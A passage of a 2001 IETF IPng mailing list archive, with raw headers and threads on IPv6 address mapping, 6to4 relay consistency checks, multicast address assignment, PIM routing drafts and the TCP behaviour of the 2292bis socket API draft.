(8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBIM3fFp012499 for ; Tue, 18 Dec 2001 14:03:41 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA00164 for ; Tue, 18 Dec 2001 14:03:43 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA27415 for ; Tue, 18 Dec 2001 14:03:42 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Tue, 18 Dec 2001 14:03:26 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 9319B6F1D19848929611AD6E181E7367 for plus 1 more; Tue, 18 Dec 2001 14:03:26 -0800 From: "Tony Hain" To: "Jirtme" , Subject: RE: Mapping between Link Local address and Global address Date: Tue, 18 Dec 2001 13:59:30 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <20011218205252.53710.qmail@web14008.mail.yahoo.com> X-SLUIDL: 96724919-57D64F6E-ACED0EC3-9BC363C6 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk No mapping is desired or necessary because they are for use in different contexts. There may be some consistency between them in the low order 64 bits (interface ID), but it is not required that a node respond to an address that is derived from another format. See RFC2373 sec 2.5.7 & 2.5.8, or more precisely see draft-ietf-ipngwg-addr-arch-v3-07.txt sec 2.5.4 & 2.5.6. Tony > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Jirtme > Sent: Tuesday, December 18, 2001 12:53 PM > To: ipng@sunroof.eng.sun.com > Subject: Mapping between Link Local address and Global address > > > Hello, > > Could someone help me with this: > If an IPv6 interface has both a Link-local and global > addresses, is there any mapping between the global and > Link local address ? > In which section/RFC is it defined ? > > Thanks, > Jirtme > > __________________________________________________ > Do You Yahoo!? > Check out Yahoo! Shopping and Yahoo! Auctions for all of > your unique holiday gifts! Buy at http://shopping.yahoo.com > or bid at http://auctions.yahoo.com > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 15:17:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINHqFp012597 for ; Tue, 18 Dec 2001 15:17:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBINHqSA012596 for ipng-dist; Tue, 18 Dec 2001 15:17:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINHlFp012589 for ; Tue, 18 Dec 2001 15:17:47 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA10961 for ; Tue, 18 Dec 2001 15:17:48 -0800 (PST) Received: from fnal.gov (heffalump.fnal.gov [131.225.9.20]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA01354 for ; Tue, 18 Dec 2001 15:17:47 -0800 (PST) Received: from gungnir.fnal.gov ([131.225.80.1]) by smtp.fnal.gov (PMDF V6.0-24 #37519) with ESMTP id <0GOK00JQVBDN3W@smtp.fnal.gov> for ipng@sunroof.eng.sun.com; Tue, 18 Dec 2001 17:17:47 -0600 (CST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.10.2+Sun/8.10.2) with ESMTP id fBINHkl17891; Tue, 18 Dec 2001 17:17:46 -0600 (CST) Date: Tue, 18 Dec 2001 17:17:45 -0600 From: Matt Crawford Subject: Re: Mapping between Link Local address and Global address In-reply-to: "18 Dec 2001 12:52:52 PST." <20011218205252.53710.qmail@web14008.mail.yahoo.com> To: =?UNKNOWN?Q?J=E9r=F4me?= Cc: ipng@sunroof.eng.sun.com Message-id: <200112182317.fBINHkl17891@gungnir.fnal.gov> MIME-version: 1.0 Content-type: TEXT/PLAIN Content-transfer-encoding: 8BIT Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Could someone help me with this: > If an IPv6 interface has both a Link-local and global > addresses, is there any mapping between the global and > Link local address ? > In which section/RFC is it defined ? > > Thanks, > Jérôme draft-ietf-ipngwg-icmp-name-lookups-08.txt But your friendly IESG doesn't want you to have that tool in your hands until you've been told exactly where to point it. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 15:31:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINVaFp012655 for ; Tue, 18 Dec 2001 15:31:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBINVZN3012654 for ipng-dist; Tue, 18 Dec 2001 15:31:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINVYFp012647 for ; Tue, 18 Dec 2001 15:31:34 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBINV3NE003967 for ; Tue, 18 Dec 2001 15:31:03 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBINV3gs003966 for ipng@sunroof.eng.sun.com; Tue, 18 Dec 2001 15:31:03 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBF0ikFp006835 for ; Fri, 14 Dec 2001 16:44:47 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA20524 for ; Fri, 14 Dec 2001 16:44:48 -0800 (PST) Received: from tomts7-srv.bellnexxia.net (tomts7.bellnexxia.net [209.226.175.40]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA02168 for ; Fri, 14 Dec 2001 17:45:30 -0700 (MST) Received: from netsavvy ([65.93.52.138]) by tomts7-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with SMTP id <20011215004447.TPLX496.tomts7-srv.bellnexxia.net@netsavvy>; Fri, 14 Dec 2001 19:44:47 -0500 From: "Dwight Baer" To: "Brian E Carpenter" Cc: Subject: Where can I download a recent white paper or ppt presentation on IPv6? Date: Fri, 14 Dec 2001 19:44:51 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <3C18B9DD.D2272C53@hursley.ibm.com> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'm sorry to bother you with this message but it's for a good cause. I've been reading your postings on this list for a couple of years now, not understanding much of it but very interested nevertheless. This is my first time for replying in any way. I am a writer of technology news, I work for Info-Tech Research Group (www.technologynews.net). We deliver a bi-weekly summary of tech news that reaches about 13,000 IT managers and management-type people, 95% in the U.S. I'm writing a summary of the status of IPv6 for an audience of IT managers, some of them not too technical. It's sort of a start-off-the-new-year issue with several articles about trends and the big picture. 1. Would someone be willing to reply with the "six best web sites" having information related to IPv6? (I've already found the easy-to-find sites - ipv6.org, ipv6forum.com, playground.sun.com, 6bone.net, stardust.com, Microsoft's stuff) 2. Also, is there a recently-written white paper or powerpoint download that should be in the hands of an IT manager wanting to make an informed decision with regard to possibly testing IPv6? 3. How does one subscribe to this list? (Do you want people to know about this list?) Once again, apologies for taking your time and thank you in advance. Dwight Baer (519) 432-3550 (w) dbaer@technologynews.net (w) -----Original Message----- From: owner-ngtrans@sunroof.eng.sun.com [mailto:owner-ngtrans@sunroof.eng.sun.com]On Behalf Of Brian E Carpenter Sent: Thursday, December 13, 2001 9:23 AM To: Pekka Savola Cc: Tony Hain; Sreeram Vankadari; ipng@sunroof.eng.sun.com; ngtrans@sunroof.eng.sun.com Subject: Re: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] Pekka Savola wrote: > > On Wed, 12 Dec 2001, Brian E Carpenter wrote: > > > The sentence refers to: > > > > > > whether the encapsulating IPv4 address is consistent with the encapsulated > > > 2002:: address. > > > > > > 1) You cannot receive IPv6 packets from *relay* which have 2002::/16 > > > prefix. If you do, someone is using 6to4 improperly. We agree on this. > > > > Actually, the relay (according to RFC 3056) is a 6to4 router that also has a > > native IPv6 interface. It certainly can source 2002: packets from its own > > site, as well as native source addresses from the native interface. > > You can apply the consistency check, but not to relayed packets with > > a native source address. > > I meant relay as a box that has relay functinality. Local packets are of > course fine, and the consistancy check applies there so that is no > problem. > > But the sentence IMO basically says: > > "there are packets [referring to 2002 prefix] coming from relay which > must not be checked". Oh, I see your problem now. But the [...] is not implied by the text as I read it. However, since I wrote it too, maybe other people see that implication, which wasn't intended. Brian > > By referring to 2002, the consistancy check might not be performed for > _2002_ addresses (which it should not receive except for the local ones > where the check would apply), thus relays becoming a source for > inconsistant 2002 packets. > > > > 2) How do you check that 3ffe:ffff::1 is consistant with an IPv4 address? > > > > > > You cannot check *consistancy* unless the addresses are of form > > > 2002: and . Only 2002 and IPv4 can > > > be compared. > > > > Yes. 3056 says nothing different. I see no error in the 3056 text. > > Ok, I guess this is one of those way of thinking issues; whether the > 'consistancy check' is basically: > > 1) > > consistancy_check(ipv6, ipv4) { > if (bits 16-47 of ipv6 equal ipv4) > return true > else > return false > } > > or: > > 2) > > consistancy_check(ipv6, ipv4) { > if prefix of ipv6 is 2002 { > if (bits 16-47 of ipv6 equal ipv4) > return true > else > return false > } > else > return true // because consistancy is not defined for non-2002 > } > > That is, what's the defined consistancy between native ipv6 and ipv4 > addresses. > > Thus skipping the consistancy check becomes a bit of a blur. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 15:32:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINWBFp012672 for ; Tue, 18 Dec 2001 15:32:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBINWBcx012671 for ipng-dist; Tue, 18 Dec 2001 15:32:11 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINWAFp012664 for ; Tue, 18 Dec 2001 15:32:10 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBINVdNE003997 for ; Tue, 18 Dec 2001 15:31:39 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBINVcZn003996 for ipng@sunroof.eng.sun.com; Tue, 18 Dec 2001 15:31:38 -0800 (PST) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBHKCHFp010023 for ; Mon, 17 Dec 2001 12:12:17 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA27291 for ; Mon, 17 Dec 2001 12:12:18 -0800 (PST) Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA19655 for ; Mon, 17 Dec 2001 13:11:59 -0700 (MST) Received: from innovationslab.net ([24.162.252.183]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.537.53); Mon, 17 Dec 2001 15:10:16 -0500 Message-ID: <3C1E513A.DB01564B@innovationslab.net> Date: Mon, 17 Dec 2001 15:10:34 -0500 From: Brian Haberman Reply-To: haberman@innovationslab.net X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Thomas Narten CC: Bob Hinden , Steve Deering , ipng@sunroof.eng.sun.com Subject: Re: IANA guidelins on assigning IPv6 multicast addresses References: <200112171850.fBHIo5Y02043@rotala.raleigh.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thomas, What about draft-ietf-malloc-ipv6-guide-04.txt? Brian Thomas Narten wrote: > > At the plenary last week, Christian asked about getting IANA to assign > an IPv6 multicast address. Poking around a bit, I can't find the > process under which IANA assigns IPv6 multicast addresses documented. > > RFC 2780 says: > > > 5.4.3 IPv6 Multicast Addresses > > > > IPv6 multicast addresses are defined in [V6AD]. They are identified > > by a FP of 0xFF. Assignment guidelines for IPv6 multicast addresses > > are described in [MASGN]. > > > [MASGN] Hinden, R. and S. Deering, "IPv6 Multicast Address > > Assignments", RFC 2375, July 1998. > > But 2375 says: > > > [ADDRARCH] defines rules for assigning new IPv6 multicast addresses. > > > [ADDARCH] Hinden, R., and S. Deering, "IP Version 6 Addressing > > Architecture", RFC 2373, July 1998. > > But 2373 doesn't seem to say anything about this. > > Is the procedure documented someplace else that I've missed? > > If not, it seems like son-of-2373 should fix this, i.e., > draft-ietf-ipngwg-addr-arch-v3-07.txt. > > Thomas > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 15:33:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINX6Fp012698 for ; Tue, 18 Dec 2001 15:33:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBINX6tc012697 for ipng-dist; Tue, 18 Dec 2001 15:33:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBINX4Fp012690 for ; Tue, 18 Dec 2001 15:33:04 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fBINWXNE004027 for ; Tue, 18 Dec 2001 15:32:33 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fBINWXAL004026 for ipng@sunroof.eng.sun.com; Tue, 18 Dec 2001 15:32:33 -0800 (PST) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBILHsFp012477 for ; Tue, 18 Dec 2001 13:17:54 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA13754 for ; Tue, 18 Dec 2001 13:17:55 -0800 (PST) Received: from Mail6.nc.rr.com ([24.93.67.53]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA01899 for ; Tue, 18 Dec 2001 13:17:55 -0800 (PST) Received: from innovationslab.net ([24.162.252.183]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Tue, 18 Dec 2001 16:15:33 -0500 Message-ID: <3C1FB207.C134FA74@innovationslab.net> Date: Tue, 18 Dec 2001 16:15:52 -0500 From: Brian Haberman Reply-To: haberman@innovationslab.net X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: =?iso-8859-1?Q?Ant=F3nio?= Amaral CC: ipng@sunroof.eng.sun.com Subject: Re: Multicast IPv6 routing References: <02b301c18800$74f38b20$d95c88c1@pluton> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The contents of draft-ietf-pim-ipv6-xx.txt has been incorporated into the revised PIM-SM spec (draft-ietf-pim-sm-v2-new-04.txt). There are no other multicast routing protocols defined for IPv6 though I do know of at least one implementation of DVMRP for IPv6. Regards, Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 18:45:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBJ2jFFp013149 for ; Tue, 18 Dec 2001 18:45:15 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBJ2jFAv013148 for ipng-dist; Tue, 18 Dec 2001 18:45:15 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBJ2jBFp013141 for ; Tue, 18 Dec 2001 18:45:11 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA14151 for ; Tue, 18 Dec 2001 18:45:13 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA13592 for ; Tue, 18 Dec 2001 18:45:12 -0800 (PST) Received: from localhost ([3ffe:501:100f:10c1:58d4:acd:bc58:a2cd]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBJ2j8343030; Wed, 19 Dec 2001 11:45:08 +0900 (JST) Date: Wed, 19 Dec 2001 11:45:07 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Erik Nordmark Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: References: User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 42 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 18 Dec 2001 07:34:49 +0100 (CET), >>>>> Erik Nordmark said: >> Okay with me, too. I just tried to make the document clear in the 03 >> draft, but in fact I don't see practical usage of receiving the >> optional information on TCP sockets. If we can reach a consensus of >> leaving it unspecified (by removing the text), it's just fine. > At one level I don't have a problem with removing the 02 and 03 behavior since > no TCP applications use this. > However, I wonder what we would do if a TCP application comes around and > wants to either restrict the extension headers used on the receive side and/or > be aware of what is used. > Perhaps this is something we can only speculate given that no such > applications exist. As for the restriction, we cannot take the same approach as UDP and raw IPv6, i.e., making a decision by receiving the extension headers at the application side. So, the restriction mechanism should be a kind of packet filtering at L3 or L4, and applications can only control the filter policy by some other APIs that are totally different from the ones we're talking about. As for the awareness of what extension headers are used, the problem is that we don't have concrete usage of it. Additionally, even if we provided a way, it would not be very useful because we'd not be able to follow changes on the extension headers (perfectly). Meanwhile, we have already had system-dependent interfaces to grab the headers, e.g. BPF or DLPI. An application could use such interfaces if it strongly wanted to get the extension headers (and other optional info) for some very special purposes, though such interfaces may require additional privilege. If we can reach consensus on removing the current (and previous) text and want to make some comments on this, I'd propose to put considerations like above into the next revision of the draft. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 18 18:56:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBJ2ukFp013181 for ; Tue, 18 Dec 2001 18:56:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBJ2ukWr013180 for ipng-dist; Tue, 18 Dec 2001 18:56:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBJ2ugFp013173 for ; Tue, 18 Dec 2001 18:56:42 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA14893 for ; Tue, 18 Dec 2001 18:56:42 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA24082 for ; Tue, 18 Dec 2001 19:56:23 -0700 (MST) Received: from localhost ([3ffe:501:100f:10c1:58d4:acd:bc58:a2cd]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBJ2uU343091; Wed, 19 Dec 2001 11:56:30 +0900 (JST) Date: Wed, 19 Dec 2001 11:56:29 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Vladislav Yasevich Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: <3C1F666D.44795EAE@zk3.dec.com> References: <200111301856.KAA29712@feller.mentat.com> <3C1AFE62.E156CC0A@zk3.dec.com> <3C1F666D.44795EAE@zk3.dec.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 82 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 18 Dec 2001 10:53:17 -0500, >>>>> Vladislav Yasevich said: >> With this reality, the received optional information can only be >> used as "informational" in the sense of the word. This also means >> that it is meaningless to try to receive the optional information >> for as many received segments as possible. >> >> So, using recvmsg() with ancillary data has less advantage over the >> RFC 2292 behavior, at least IMHO. > I don't understand why you are assigning advantage to the 2292 behavior. > So far, both methods provide identical functionality as far > as the headers received by the application. > IMO, both versions add additional complexity to the application, but only > at the request of the application. Correct, but I did not intend to assign advantage to 2292. I just said that 2292bis-02 did not have advantage to 2292 (or 2292bis-03). >> Meanwhile, using recvmsg() causes additional issues, such as impact >> on the socket semantics or the "send-only apps" problem, which did >> not exist in the RFC 2292 behavior. > Are you conserned about not being able to access the extension headers > sent with ACKs, RSTs, etc...? > Is this really something that would be usefull to an application? Well, I'm not sure. But, actually, I'm not even sure if passing the received extension headers to applications is really useful at all. So, we're discussing a corner case of not-so-useful feature, and that's why I'm inclined to leave this topic unspecified. >> As for the ability to receive optional information at a send-only >> application, it might be true that there is less meaningful usage of >> the ability. But, anyway, RFC 2292 (and 2292bis-03) provides the >> ability, while rfc2292bis-02 (and earlier) does not. > I think providing a meaningless ability is pointless and makes for feature > bloat and complexity. It is not a good argument to do something. >> In summary, the rfc2292bis-02 behavior has disadvantage over the >> RFC2292 behavior without an (less) advantage. >> >> That's why I, for one, prefer the 03 behavior. But I admit that the >> advantage (03 over 02) is not so big and one may say that the >> advantage is not worth the change. (perhaps I should have just put >> the issue in the "open issues" section. that was my bad.) > I prefer the 02 behavior because it is cleaner conseptually. Yes it requires > code changes for the apps wanting to use it, but most applications do not > need and will not use this feature. (same argument as above applies here.) >> Again, though I prefer the 03 behavior, I know (and understand) some >> other people dislike it. I'll hear from others, and will obey the >> consensus. > If we can not reach consensus (don't gasp, it happened before), may I suggest > that we document both behaviors. We can keep a strict 2292bis-02 behavior > (i.e > don't return control data for SYNs, ACKs, etc), and the 2292bis-03 behavior > with > the limitations in section 4.1 (i.e applies only to TCP and can only be used > with > getsockopt). This would also be a possible approach, but I agree with Tim here. If we describe some behavior anyway, we should take one and only one mechanism. Otherwise it just causes additional complexity and less portability. But, again, I'd rather leave this spec unspecified, because we're talking about something that we're not even sure about the usefulness. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed Dec 19 01:49:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJ9nSZR013767 for ; Wed, 19 Dec 2001 01:49:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBJ9nSuR013766 for ipng-dist; Wed, 19 Dec 2001 01:49:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBJ9nPZR013759 for ; Wed, 19 Dec 2001 01:49:25 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA05030 for ; Wed, 19 Dec 2001 01:49:26 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA13803 for ; Wed, 19 Dec 2001 01:49:21 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr 